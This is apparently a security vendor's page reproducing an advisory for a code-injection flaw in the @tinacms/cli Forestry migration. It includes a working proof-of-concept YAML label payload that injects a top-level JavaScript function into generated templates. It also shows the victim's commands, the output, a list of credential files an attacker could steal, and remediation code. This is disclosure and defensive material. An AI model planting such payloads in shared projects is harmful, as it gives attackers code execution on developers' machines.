GHSA-4936-9hrh-qqpw is a high-severity (CVSS 7.8) Code Injection vulnerability in @tinacms/cli. O3 Security confirms whether GHSA-4936-9hrh-qqpw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4936-9hrh-qqpw.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4936-9hrh-qqpw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,482 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@tinacms/clinpmDescription
Description
Summary
@tinacms/cli contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper addVariablesToCode
unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::"
inside the stringified collection JSON. User-supplied label and name
fields from .forestry/**/*.yml are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated tina/templates.{ts,js}
file. The injected code is written at module top level, so it executes
the moment the developer runs tinacms dev or tinacms build, with the
developer's privileges.
Details
Vulnerable code path:
-
packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts—transformForestryFieldsToTinaFields()writesforestryField.label(and.name) straight into TinaField objects (no sanitisation). -
packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; -
codeTransformer.tslines 80-88 — the field array isJSON.stringify-ed and then handed toaddVariablesToCode. BecauseJSON.stringifydoes not escape single quotes or backticks, an attacker who avoids"in the payload survives the JSON pass intact. -
packages/@tinacms/cli/src/cmds/init/apply.tslines 110-116 — the resulting string is written totina/templates.{ts,js}and imported by the generatedtina/config.{ts,js}, whichtinacms devevaluates.
Why it executes immediately: the regex unquoting allows the attacker's
payload to close the surrounding object/array and the enclosing
xxxFields() function, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant tina/config.ts imports ./templates.
PoC
End-to-end verified against tinacms and @tinacms/[email protected], built from
commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24
(behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
.forestry/settings.yml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
- rce
.forestry/front_matter/templates/rce.yml
---
label: rce_template
fields:
- name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
Note on payload encoding. The original disclosure draft used double quotes inside the payload (
console.log("RCE")).JSON.stringifyescapes those to\", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.
Step 2 — victim runs the standard onboarding flow
git clone <attacker repo>
cd <attacker repo>
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms build
Step 3 — generated tina/templates.ts (verbatim, from a clean run)
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // <-- TOP-LEVEL IIFE
const fs = require("fs");
const os = require("os");
fs.writeFileSync(
require("path").join(os.tmpdir(), "PWNED_PROOF.txt"),
"RCE triggered on " + os.hostname() + " at " + new Date().toISOString()
);
console.log("=== RCE SUCCESSFUL ===");
})();
function _ignore_() {
return [{ x: 1 }] as TinaField[];
}
Step 4 — observed result
$ npx tinacms dev --noTelemetry --no-server
🦙 TinaCMS Dev Server is initializing...
=== RCE SUCCESSFUL ===
Cannot read properties of undefined (reading 'publicFolder')
$ cat "$TEMP/PWNED_PROOF.txt"
RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z
The === RCE SUCCESSFUL === line is printed before the dev server
fails on the (intentionally minimal) config, proving the malicious code
executed during config evaluation.
Impact
- Class: Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build).
- Attack vector: Any developer who runs
tinacms initon a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runstinacms devortinacms build. - Privileges obtained: Full execution under the developer's user
account. Practical consequences include:
- Exfiltration of environment variables,
.envfiles, SSH keys,~/.aws/credentials,~/.npmrctokens,~/.config/gh/hosts.yml. - Source-code modification (planting backdoors before the developer's next commit / publish).
- Supply-chain abuse via the developer's
npm publishandgit pushcredentials. - Persistence via shell rc files or scheduled tasks.
- Exfiltration of environment variables,
- Authentication: None required from the attacker.
- User interaction: Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes".
Suggested Remediation
Either fix is sufficient; Option B is preferred because it is structurally impossible to bypass and does not silently drop user content.
Option A — sanitise user-controlled strings (the disclosure draft's proposal)
// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts
const sanitizeString = (str: unknown): unknown =>
typeof str === 'string'
? str.replace(/__TINA_INTERNAL__:::/g, '')
: str;
Apply to every user-controlled string that flows into a TinaField
object — at minimum forestryField.label, forestryField.name,
forestryField.template, forestryField.config.options[*],
forestryField.config.source.section, and the equivalents on nested
fields/template_types recursive paths.
Option B — change the marker to a sequence that cannot survive JSON.stringify of user data
// codeTransformer.ts
const MARKER_OPEN = '__TINA_INTERNAL__';
const MARKER_CLOSE = '/__TINA_INTERNAL__';
export const addVariablesToCode = (s: string) => ({
code: s.replace(
new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'),
'$1'
),
});
JSON.stringify escapes to the six-character sequence
, so any literal control character supplied via YAML can never
reconstruct the marker. The internal callers (makeFieldsWithInternalCode)
keep emitting real bytes, so the legitimate flow continues to
work and no user content is silently mutated.
Defence-in-depth
Regardless of which option ships, the migration code should also:
- Reject
forestryField.label/.namethat contain newlines or NUL bytes (Forestry never produced them). - Wrap the eventual
prettier.format(...)call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way).
Credit
Reported by AnGrY-Althaf ([email protected]).
End-to-end PoC executed locally against
[email protected] / @tinacms/[email protected] built from commit ae1ab5d0f
of https://github.com/tinacms/tinacms.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @tinacms/cli | all versions | 2.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tinacms/cli. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @tinacms/cli to 2.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4936-9hrh-qqpw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4936-9hrh-qqpw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4936-9hrh-qqpw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4936-9hrh-qqpw in your dependencies?
O3 detects GHSA-4936-9hrh-qqpw across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.